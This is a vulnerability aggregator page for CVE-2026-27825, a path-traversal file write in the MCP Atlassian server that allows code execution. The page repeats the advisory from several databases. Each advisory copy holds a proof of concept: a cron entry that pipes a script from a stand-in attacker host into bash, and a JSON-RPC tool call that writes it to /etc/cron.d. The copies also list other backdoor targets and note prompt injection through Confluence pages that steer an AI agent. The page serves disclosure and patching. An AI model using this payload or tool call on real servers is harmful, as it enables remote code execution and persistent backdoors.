CVE-2026-27825
MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, the confluence_download_attachment MCP tool accepts a download_path parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to /etc/cron.d/ achieves code execution within one scheduler cycle with no server restart required). Version 0.17.0 fixes the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Adjacent network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.1
MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, the confluence_download_attachment MCP tool accepts a download_path parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to /etc/cron.d/ achieves code execution within one scheduler cycle with no server restart required). Version 0.17.0 fixes the issue.
- Record
CVE-2026-27825- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-22, CWE-73
- Updated
- 2026-11-02
EUVDEUVD-2026-10810
9.1
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, the confluence_download_attachment MCP tool accepts a download_path parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to /etc/cron.d/ achieves code execution within one scheduler cycle with no server restart required). Version 0.17.0 fixes the issue.
- Record
EUVD-2026-10810- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-xjgw-4wvw-rgm4
9.0
MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment
Summary
The confluence_download_attachment MCP tool accepts a download_path parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to /etc/cron.d/ achieves code execution within one scheduler cycle with no server restart required).
Details
The tool parameter is defined in src/mcp_atlassian/servers/confluence.py:~1275 without any path restriction:
download_path: Annotated[
str,
Field(
description=(
"Full path where the file should be saved. Can be absolute or relative. "
"Examples: './downloads/report.pdf', '/tmp/image.png', 'C:\\\\temp\\\\file.docx'. "
"Parent directory will be created if it doesn't exist."
)
),
],
The implementation at src/mcp_atlassian/confluence/attachments.py:183–200:
if not os.path.isabs(target_path):
target_path = os.path.abspath(target_path) # normalizes path, no restriction
os.makedirs(os.path.dirname(target_path), exist_ok=True) # creates any directory
with open(target_path, "wb") as f: # writes to any writable path
for chunk in response.iter_content(chunk_size=8192):
f.write(chunk)
os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).
### PoC
Prerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.
Step 1 — Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:
* * * * * root curl http://attacker.com/shell.sh | bash
Step 2 — Call the tool with a sensitive write target:
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "confluence_download_attachment",
"arguments": {
"page_id": "<page id hosting the malicious attachment>",
"attachment_id": "<attachment id>",
"download_path": "/etc/cron.d/mcp-backdoor"
}
},
"id": 1
}
The attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.
Alternative potential write targets demonstrating broader impact:
- /home/<user>/.ssh/authorized_keys - persistent SSH backdoor
- <venv>/lib/python3.x/site-packages/<any_imported_module>.py - code execution on next import
- ~/.bashrc - code execution on next user login
### Impact
An attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server's HTTP port can call tools using the server's own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.
In enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI…
- Record
GHSA-xjgw-4wvw-rgm4- CVSS 3.1
- 9.0 Critical
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-22, CWE-73
- Updated
- 2026-11-02
NVD
9.0
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, the confluence_download_attachment MCP tool accepts a download_path parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to /etc/cron.d/ achieves code execution within one scheduler cycle with no server restart required). Version 0.17.0 fixes the issue.
- Record
CVE-2026-27825- CVSS 3.1
- 9.0 Critical
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - CVSS 3.1
- 8.0 High
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-22, CWE-73
- Updated
- 2026-11-02
OSV
9.0
MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, the confluence_download_attachment MCP tool accepts a download_path parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to /etc/cron.d/ achieves code execution within one scheduler cycle with no server restart required). Version 0.17.0 fixes the issue.
- Record
CVE-2026-27825- CVSS 3.1
- 9.0 Critical
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-22, CWE-73
- Updated
- 2026-11-02
OSVGHSA-xjgw-4wvw-rgm4
9.0
MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment
Summary
The confluence_download_attachment MCP tool accepts a download_path parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to /etc/cron.d/ achieves code execution within one scheduler cycle with no server restart required).
Details
The tool parameter is defined in src/mcp_atlassian/servers/confluence.py:~1275 without any path restriction:
download_path: Annotated[
str,
Field(
description=(
"Full path where the file should be saved. Can be absolute or relative. "
"Examples: './downloads/report.pdf', '/tmp/image.png', 'C:\\\\temp\\\\file.docx'. "
"Parent directory will be created if it doesn't exist."
)
),
],
The implementation at src/mcp_atlassian/confluence/attachments.py:183–200:
if not os.path.isabs(target_path):
target_path = os.path.abspath(target_path) # normalizes path, no restriction
os.makedirs(os.path.dirname(target_path), exist_ok=True) # creates any directory
with open(target_path, "wb") as f: # writes to any writable path
for chunk in response.iter_content(chunk_size=8192):
f.write(chunk)
os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).
### PoC
Prerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.
Step 1 — Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:
* * * * * root curl http://attacker.com/shell.sh | bash
Step 2 — Call the tool with a sensitive write target:
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "confluence_download_attachment",
"arguments": {
"page_id": "<page id hosting the malicious attachment>",
"attachment_id": "<attachment id>",
"download_path": "/etc/cron.d/mcp-backdoor"
}
},
"id": 1
}
The attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.
Alternative potential write targets demonstrating broader impact:
- /home/<user>/.ssh/authorized_keys - persistent SSH backdoor
- <venv>/lib/python3.x/site-packages/<any_imported_module>.py - code execution on next import
- ~/.bashrc - code execution on next user login
### Impact
An attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server's HTTP port can call tools using the server's own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.
In enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI…
- Record
GHSA-xjgw-4wvw-rgm4- CVSS 3.1
- 9.0 Critical
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-22, CWE-73
- Updated
- 2026-11-02
OSVPYSEC-2026-408
9.0
MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment
Summary
The confluence_download_attachment MCP tool accepts a download_path parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to /etc/cron.d/ achieves code execution within one scheduler cycle with no server restart required).
Details
The tool parameter is defined in src/mcp_atlassian/servers/confluence.py:~1275 without any path restriction:
download_path: Annotated[
str,
Field(
description=(
"Full path where the file should be saved. Can be absolute or relative. "
"Examples: './downloads/report.pdf', '/tmp/image.png', 'C:\\\\temp\\\\file.docx'. "
"Parent directory will be created if it doesn't exist."
)
),
],
The implementation at src/mcp_atlassian/confluence/attachments.py:183–200:
if not os.path.isabs(target_path):
target_path = os.path.abspath(target_path) # normalizes path, no restriction
os.makedirs(os.path.dirname(target_path), exist_ok=True) # creates any directory
with open(target_path, "wb") as f: # writes to any writable path
for chunk in response.iter_content(chunk_size=8192):
f.write(chunk)
os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).
### PoC
Prerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.
Step 1 — Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:
* * * * * root curl http://attacker.com/shell.sh | bash
Step 2 — Call the tool with a sensitive write target:
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "confluence_download_attachment",
"arguments" : {
"page_id": "<page id hosting the malicious attachment>",
"attachment_id": "<attachment id>",
"download_path": "/etc/cron.d/mcp-backdoor"
}
},
"id": 1
}
The attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.
Alternative potential write targets demonstrating broader impact:
- /home/<user>/.ssh/authorized_keys - persistent SSH backdoor
- <venv>/lib/python3.x/site-packages/<any_imported_module>.py - code execution on next import
- ~/.bashrc - code execution on next user login
### Impact
An attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server's HTTP port can call tools using the server's own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.
In enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an…
- Record
PYSEC-2026-408- CVSS 3.1
- 9.0 Critical
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
mcp-atlassianPyPI |
before 0.17.0 | 0.17.0 |
mcp-atlassianPyPI |
before 0.17.0, plus listed versions 0.1.10.1.100.1.110.1.120.1.13 Show 45 moreShow less0.1.140.1.150.1.160.1.20.1.30.1.40.1.60.1.70.1.80.1.90.10.00.10.10.10.20.10.30.10.40.10.50.10.60.11.00.11.10.11.100.11.110.11.120.11.20.11.2a20.11.30.11.40.11.50.11.60.11.70.11.80.11.90.12.00.13.00.13.10.14.00.14.10.14.20.14.30.15.00.16.00.16.10.2.00.2.10.2.20.2.3 |
0.17.0 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | plutosecurity/MCPwnfluence | 2026-02-26 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-27825 is a critical vulnerability (CVSS 9.1) in Mcp-atlassian Mcp Atlassian, published March 10, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 12.3%, the 96th percentile. Fixed in mcp-atlassian 0.17.0.
References
github.com/sooperset/mcp-atlassian/security/advisories/GHSA-xjgw-4wvw-rgm4
github.com/sooperset/mcp-atlassian/commit/52b9b0997681e87244b20d58034deae89c91631e
github.com/advisories/GHSA-xjgw-4wvw-rgm4
github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27825.json
nvd.nist.gov/vuln/detail/CVE-2026-27825
github.com/sooperset/mcp-atlassian
pypi.org/project/mcp-atlassian
Left out here: 21 versions and the rest of 3 source descriptions. The JSON record has them.